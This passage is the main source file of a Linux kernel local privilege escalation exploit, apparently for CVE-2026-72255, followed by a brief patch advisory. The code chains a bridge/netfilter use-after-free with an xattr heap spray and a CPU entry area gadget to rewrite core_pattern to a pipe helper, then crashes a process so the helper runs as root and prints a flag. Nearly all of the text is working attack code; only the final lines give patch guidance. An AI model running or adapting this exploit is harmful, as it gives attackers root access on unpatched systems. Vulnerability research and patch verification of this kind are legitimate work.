frame.proto = htons(ETH_P_IP);
frame.ip.version_ihl = 0x45;
frame.ip.total_len = htons(sizeof(frame.ip));
frame.ip.id = htons(0x5f6e);
frame.ip.ttl = 64;
frame.ip.protocol = IPPROTO_ICMP;
frame.ip.saddr = inet_addr("10.0.0.1");
frame.ip.daddr = inet_addr("10.0.0.2");
frame.ip.check = ip_checksum(&frame.ip, sizeof(frame.ip));
sa.sll_family = AF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("_1");
sa.sll_halen = ETH_ALEN;
memcpy(sa.sll_addr, frame.dst, ETH_ALEN);
if (!sa.sll_ifindex)
die("if_nametoindex(p0)");
if (sendto(fd, &frame, sizeof(frame), 0,
(struct sockaddr *)&sa, sizeof(sa)) != sizeof(frame))
die("sendto(AF_PACKET)");
close(fd);
printf("[+] injected bridged IPv4 frame through p0\n");
}
static pid_t start_bridge_delete(void)
{
pid_t pid = fork();
if (pid < 0)
die("fork(RTM_DELLINK)");
if (pid == 0) {
rtnl_delete_link("_n0");
_exit(0);
}
return pid;
}
static void print_relevant_modules(void)
{
FILE *fp = fopen("/proc/modules", "re");
char line[512];
if (!fp) {
perror("fopen(/proc/modules)");
return;
}
while (fgets(line, sizeof(line), fp)) {
if (!strncmp(line, "bridge ", 7) ||
!strncmp(line, "br_netfilter ", 13) ||
!strncmp(line, "nfnetlink_queue ", 18) ||
!strncmp(line, "nf_tables ", 10) ||
!strncmp(line, "nft_queue ", 10) ||
!strncmp(line, "nft_compat ", 11))
fputs(line, stdout);
}
fclose(fp);
}
static bool wait_delete_bounded(pid_t pid, int *status)
{
struct timespec ts = { .tv_nsec = 10000000 };
for (int i = 0; i < 200; i++) {
pid_t ret = waitpid(pid, status, WNOHANG);
if (ret == pid)
return true;
if (ret < 0)
die("waitpid(delete)");
nanosleep(&ts, NULL);
}
return false;
}
static int prepare_xattr_file(void)
{
if (mkdir("/tmp/_nebu-xattr", 0700) < 0 && errno != EEXIST)
die("mkdir(/tmp/_nebu-xattr)");
if (mount("tmpfs", "/tmp/_nebu-xattr", "tmpfs", MS_NODEV | MS_NOSUID,
"size=4m") < 0)
die("mount(tmpfs)");
return open("/tmp/_nebu-xattr/_nebu0",
O_CREAT | O_RDWR | O_CLOEXEC, 0600);
}
static void spray_xattrs(int filefd)
{
static const char helper_pattern[] = "|/tmp/_nebusec";
unsigned char *value = calloc(1, XATTR_VALUE_LEN);
unsigned char *dst;
unsigned int payload_byte;
uint64_t qword;
/* rcuref_t uses zero, not one, for RCUREF_ONEREF. The stale put turns
* it into RCUREF_NOREF (-1) and reports the last reference. */
uint32_t refcount = 0;
uint16_t flags = 8; /* DST_NOCOUNT: defer destruction through call_rcu. */
if (!value)
die("malloc(xattr value)");
dst = value + FAKE_DST_VALUE_OFFSET;
if (pattern_index >= sizeof(helper_pattern)) {
errno = EINVAL;
die("pattern index");
}
payload_byte = (unsigned char)helper_pattern[pattern_index];
dst[-0xb] = (unsigned char)payload_byte;
qword = cea;
memcpy(dst + DST_OPS_OFFSET, &qword, sizeof(qword));
qword = 1; /* non-NULL xfrm selects xfrm_dst.child at +0xe8. */
memcpy(dst + DST_XFRM_OFFSET, &qword, sizeof(qword));
memcpy(dst + DST_FLAGS_OFFSET, &flags, sizeof(flags));
memcpy(dst + DST_RCUREF_OFFSET, &refcount, sizeof(refcount));
qword = core_pattern_data + pattern_index;
memcpy(dst + XFRM_CHILD_OFFSET, &qword, sizeof(qword));
for (int i = 0; i < XATTR_COUNT; i++) {
char name[64];
snprintf(name, sizeof(name), "user._n-%03d", i);
if (fsetxattr(filefd, name, value, XATTR_VALUE_LEN, XATTR_CREATE) < 0)
die("fsetxattr(simple_xattr spray)");
}
free(value);
printf("[+] sprayed %d xattrs for core_pattern[%u]=%#x\n",
XATTR_COUNT, pattern_index, payload_byte);
}
static int count_reclaimed_rcurefs(int filefd)
{
unsigned char *value = malloc(XATTR_VALUE_LEN);
int hits = 0;
if (!value)
die("malloc(xattr verification)");
for (int i = 0; i < XATTR_COUNT; i++) {
char name[64];
uint32_t refcount;
ssize_t got;
snprintf(name, sizeof(name), "user._n-%03d", i);
got = fgetxattr(filefd, name, value, XATTR_VALUE_LEN);
if (got != XATTR_VALUE_LEN)
die("fgetxattr(simple_xattr verification)");
memcpy(&refcount, value + FAKE_DST_VALUE_OFFSET +
DST_RCUREF_OFFSET, sizeof(refcount));
if (refcount == UINT32_MAX) {
printf("[+] reclaimed rcuref reached RCUREF_NOREF in %s\n",
name);
hits++;
}
}
free(value);
return hits;
}
struct cea_regs15_payload {
uint64_t q[15];
};
static struct cea_regs15_payload cea_payload __attribute__((used));
__attribute__((naked, noreturn))
static void spin_cea_payload(void)
{
asm volatile(
"1: lea cea_payload(%rip), %rax\n\t"
"mov 0x00(%rax), %r15\n\t"
"mov 0x08(%rax), %r14\n\t"
"mov 0x10(%rax), %r13\n\t"
"mov 0x18(%rax), %r12\n\t"
"mov 0x20(%rax), %rbp\n\t"
"mov 0x28(%rax), %rbx\n\t"
"mov 0x30(%rax), %r11\n\t"
"mov 0x38(%rax), %r10\n\t"
"mov 0x40(%rax), %r9\n\t"
"mov 0x48(%rax), %r8\n\t"
"mov 0x58(%rax), %rcx\n\t"
"mov 0x60(%rax), %rdx\n\t"
"mov 0x68(%rax), %rsi\n\t"
"mov 0x70(%rax), %rdi\n\t"
"mov 0x50(%rax), %rax\n\t"
/* A syscall would overwrite R11. Timer entry preserves this
* userspace register image at CPU1's CEA pt_regs instead. */
"2: pause\n\t"
"jmp 2b\n\t");
}
static void run_cea_seeder(void)
{
memset(&cea_payload, 0, sizeof(cea_payload));
/* CEA q[6] aliases dst_ops.destroy when fake_dst->ops == CEA. */
cea_payload.q[6] = byte_write_gadget;
pin_cpu(1);
if (write(seeder_ready[1], "S", 1) != 1)
_exit(20);
spin_cea_payload();
}
static void start_cea_seeder(void)
{
char byte;
pid_t pid;
if (pipe(seeder_ready))
die("pipe(CEA seeder)");
pid = fork();
if (pid < 0)
die("fork(CEA seeder)");
if (!pid)
run_cea_seeder();
if (read(seeder_ready[0], &byte, 1) != 1)
die("CEA seeder ready");
usleep(250000);
printf("[+] CPU1 CEA destroy slot seeded with %#llx\n",
(unsigned long long)byte_write_gadget);
}
static bool wait_for_pattern_prefix(unsigned int length)
{
static const char wanted[] = "|/tmp/_nebusec";
char pattern[128];
for (unsigned int attempt = 0; attempt < 50000; attempt++) {
int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY | O_CLOEXEC);
ssize_t got;
if (fd < 0)
die("open(core_pattern readback)");
got = read(fd, pattern, sizeof(pattern));
close(fd);
if (got >= (ssize_t)length && !memcmp(pattern, wanted, length)) {
printf("[+] verified core_pattern prefix %.*s\n",
(int)length, wanted);
return true;
}
usleep(100);
}
return false;
}
static void install_pipe_helper(void)
{
int source = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
int output = open("/tmp/_nebusec",
O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC,
0755);
if (source < 0 || output < 0)
die("open(/tmp/_nebusec helper)");
if (sendfile(output, source, NULL, 1U << 30) < 0)
die("sendfile(/tmp/_nebusec helper)");
if (fchmod(output, 0755) < 0)
die("fchmod(/tmp/_nebusec helper)");
close(source);
close(output);
(void)unlink("/tmp/_nebu_f");
(void)unlink("/tmp/_nebu_t");
puts("[+] installed unprivileged /tmp/_nebusec pipe helper");
}
static bool trigger_core_and_print_flag(void)
{
pid_t child = fork();
if (child < 0)
die("fork(core trigger)");
if (!child) {
struct rlimit limit = { RLIM_INFINITY, RLIM_INFINITY };
(void)setrlimit(RLIMIT_CORE, &limit);
(void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0);
*(volatile unsigned long *)0 = 0;
_exit(30);
}
for (unsigned int attempt = 0; attempt < 1000; attempt++) {
char buffer[4096];
int fd = open("/tmp/_nebu_f", O_RDONLY | O_CLOEXEC);
ssize_t got;
if (fd < 0) {
usleep(10000);
continue;
}
got = read(fd, buffer, sizeof(buffer));
close(fd);
if (got > 0) {
write_all(STDOUT_FILENO, buffer, (size_t)got);
return true;
}
usleep(10000);
}
return false;
}
int main(int argc, char **argv)
{
static const unsigned int pattern_length = sizeof("|/tmp/_nebusec") - 1;
static const unsigned int pattern_writes = sizeof("|/tmp/_nebusec");
(void)argc;
setvbuf(stdout, NULL, _IONBF, 0);
if (geteuid() == 0 && !strcmp(argv[0], "/tmp/_nebusec"))
return file_root_helper();
pin_cpu(0);
enter_unprivileged_user_net_mount_namespaces();
resolve_kernel_addresses();
start_cea_seeder();
for (pattern_index = 0; pattern_index < pattern_writes; pattern_index++) {
int rtnlfd, nfqfd, xfd, delete_status = 0;
uint32_t packet_id;
pid_t delete_pid;
bool delete_done;
if (pattern_index && unshare(CLONE_NEWNET) < 0)
die("unshare(next network namespace)");
printf("[.] core_pattern byte write %u/%u\n", pattern_index + 1,
pattern_writes);
/* Each iteration uses only the original c9c9b37f bridge/fake-rtable
* lifetime bug in a fresh net namespace. */
rtnlfd = open_netlink_route();
rtnl_new_bridge(rtnlfd, "_nebu0");
rtnl_new_bridge(rtnlfd, "_n0");
rtnl_new_bridge(rtnlfd, "_nebu2");
rtnl_new_bridge(rtnlfd, "_nebu3");
install_br_netfilter_autoload_rule_raw();
rtnl_set_bridge_nf_call_iptables(rtnlfd, "_n0");
rtnl_new_veth(rtnlfd, "_0", "_1");
rtnl_new_veth(rtnlfd, "_2", "_3");
rtnl_set_master(rtnlfd, "_0", "_n0");
rtnl_set_master(rtnlfd, "_2", "_n0");
rtnl_set_up(rtnlfd, "_n0");
rtnl_set_up(rtnlfd, "_0");
rtnl_set_up(rtnlfd, "_2");
rtnl_set_up(rtnlfd, "_1");
rtnl_set_up(rtnlfd, "_3");
close(rtnlfd);
nfqfd = open_and_bind_nfqueue();
install_bridge_queue_rule_raw();
if (!pattern_index)
print_relevant_modules();
xfd = prepare_xattr_file();
if (xfd < 0)
die("open(tmpfs xattr victim)");
usleep(200000);
send_ipv4_frame();
packet_id = recv_packet_id(nfqfd);
delete_pid = start_bridge_delete();
delete_done = wait_delete_bounded(delete_pid, &delete_status);
if (!delete_done) {
send_verdict_drop(nfqfd, packet_id);
(void)waitpid(delete_pid, &delete_status, 0);
fprintf(stderr, "bridge deletion blocked before reclaim\n");
return EXIT_FAILURE;
}
printf("[+] dangling queued fake-rtable ready; waiting 10s\n");
sleep(10);
spray_xattrs(xfd);
send_verdict_drop(nfqfd, packet_id);
usleep(300000);
printf("[+] reclaimed rcuref hits: %d\n",
count_reclaimed_rcurefs(xfd));
close(xfd);
close(nfqfd);
if (!wait_for_pattern_prefix(pattern_index < pattern_length ?
pattern_index + 1 : pattern_length)) {
fprintf(stderr, "byte-write callback was not observed\n");
return EXIT_FAILURE;
}
}
puts("[SUCCESS] _nebusec built core_pattern=|/tmp/_nebusec");
if (!trigger_core_and_print_flag()) {
fprintf(stderr, "pipe helper did not produce a flag file\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in June 2026. The corrected route initialization and lifetime rules keep bridge-owned routing data alive while queued packets can reference it. Apply the Ubuntu kernel update containing the June 2026 fix.
The safest check is the distribution’s own kernel changelog for CVE-2026-72255;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
